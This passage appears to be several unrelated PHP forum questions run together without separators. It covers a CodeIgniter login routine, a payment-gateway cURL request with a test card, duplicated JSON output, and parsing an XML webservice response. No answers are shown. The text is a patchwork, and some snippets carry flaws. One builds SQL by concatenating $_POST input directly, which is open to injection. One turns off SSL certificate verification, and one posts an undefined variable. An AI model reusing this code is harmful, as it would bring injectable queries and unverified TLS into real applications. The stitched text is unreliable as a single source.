* @param string * @param string * @param int * @return bool */ function login($username, $password, $remember) { $this->ci->load->model('kow_auth/users'); $user_data = $this->ci->users->get_user_by_username($username); if ($user_data) { $regenFromPostPW = $this->ci->genfunc->reGenPassHash($password, $user_data->password2); if ($regenFromPostPW == $user_data->password) { $this->ci->session->set_userdata(array( 'xtr' => 'yes', 'user_id' => $user_data->user_id, 'username' => $user_data->username, 'status' => $user_data->users_statuses_id, 'role' => $user_data->users_roles_id )); if ($remember == 1) { $timeTOexpire = time()+(60*60*24*31*2); $this->input->set_cookie('xtrcook', '1', $timeTOexpire); } else { $cookie = trim(get_cookie('xtrcook')); if ($cookie || is_numeric($cookie)) { delete_cookie('xtrcook'); } } $this->clear_login_attempts($user_data->user_id); $this->ci->users->insert_session($this->ci->session->userdata('session_id'), $this->ci->session->userdata('user_id'), $this->ci->genfunc->getRealIpAddr(), $this->ci->genfunc->getUserOS()); return TRUE; } else { $this->increase_login_attempt($user_data->user_id); } } else { return NULL; } } I send off this: <?php $data = "<egateway> <eCardExpiryMonth>01</eCardExpiryMonth> <eCardExpiryYear>04</eCardExpiryYear> <eCardHoldersName>Joe Bloke</eCardHoldersName> <eCardNumber>4444333322221111</eCardNumber> <eCVN>123</eCVN> <eTotalAmount>100</eTotalAmount> </egateway> "; $ch = curl_init(); curl_setopt($ch, CURLOPT_POSTFIELDS, $edata); curl_setopt($ch, CURLOPT_URL, "https://www.example.com/gateway_cvn/testpage.asp"); curl_exec($ch); curl_close($ch); ?> In return, I get the following XML: Code: [Select] <eResponse> <eTrxnStatus>True</eTrxnStatus> <eTrxnNumber>20219</eTrxnNumber> <eAuthCode>123456</eAuthCode> <eReturnAmount>100</eReturnAmount> <eTrxnError>00,Transaction Approved(Test CVN Gateway)</eTrxnError> </eResponse> Is there a way to make it so this does not show, and instead I can make PHP do something like: if (eTrxnStatus == True) {// do stuff}; ? Hello All, running into a situation that I have not seen before. I have been seeing in multiple areas of my application that the response received from the server has 2 JSON responses in it. Here is a sample function: private function getCatalogItems(){ $start = ($_REQUEST["start"] == null)? 0 : $_REQUEST["start"]; $count = ($_REQUEST["limit"] == null)? 20 : $_REQUEST["limit"]; $q = "SELECT c.`id`, c.`catalog_number`, c.`long_description`, CONCAT(c.`catalog_number`, ' - ', c.`long_description`) AS `display` FROM catalog c"; if(!empty($_REQUEST['query'])){ $q .= " WHERE c.`catalog_number` LIKE '%".$_POST['query']."%'"; } $q .= " ORDER BY c.`catalog_number` ASC LIMIT ".$start.",".$count; $rs = $this->db->get_results($q); $total = $this->db->num_rows; $buff = '{"total":"'.$total.'","data":'.json_encode($rs).'}'; $this->c->returnJSON($buff); } The "returnJSON" function looks like this. public function returnJSON($json){ $contentType = "application/json; charset=utf-8"; header("Content-Type: {$contentType}"); header("Content-Size: " . strlen($json)); echo $json; } As you can see this simply sets the headers of the response. It has been a real head scratcher. Anyone come across something like this before? Hello, I'm trying to get webservice response in xml format. I'm getting the response but it's not in xml. It's just text. Can someone please look at the code ? <?php $targeturl="https://api.com"; $DevKey= "xxxxx"; // return xml feed $ch = curl_init($targeturl); curl_setopt($ch, CURLOPT_POST, FAlSE); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: '.$DevKey)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $response = curl_exec($ch); $xml = new SimpleXMLElement($response); curl_close($ch); echo $response; // will print in browser all country codes in an xml format /* ADD YOUR OWN CODE HERE TO DO WHAT YOU WANT WITH THE RESPONSE. MAYBE SAVE RESULTS TO A FILE OR THE PARSE THE RESULTS INTO A DATABASE? */ ?> How can I receive a response from the server with JSON data, when the function that retrieves the data and returns it to the browser has been completely commented out? I am making an AJAX request for JSON formatted data and for some reason it returns a response when it shouldn't as there is no function? |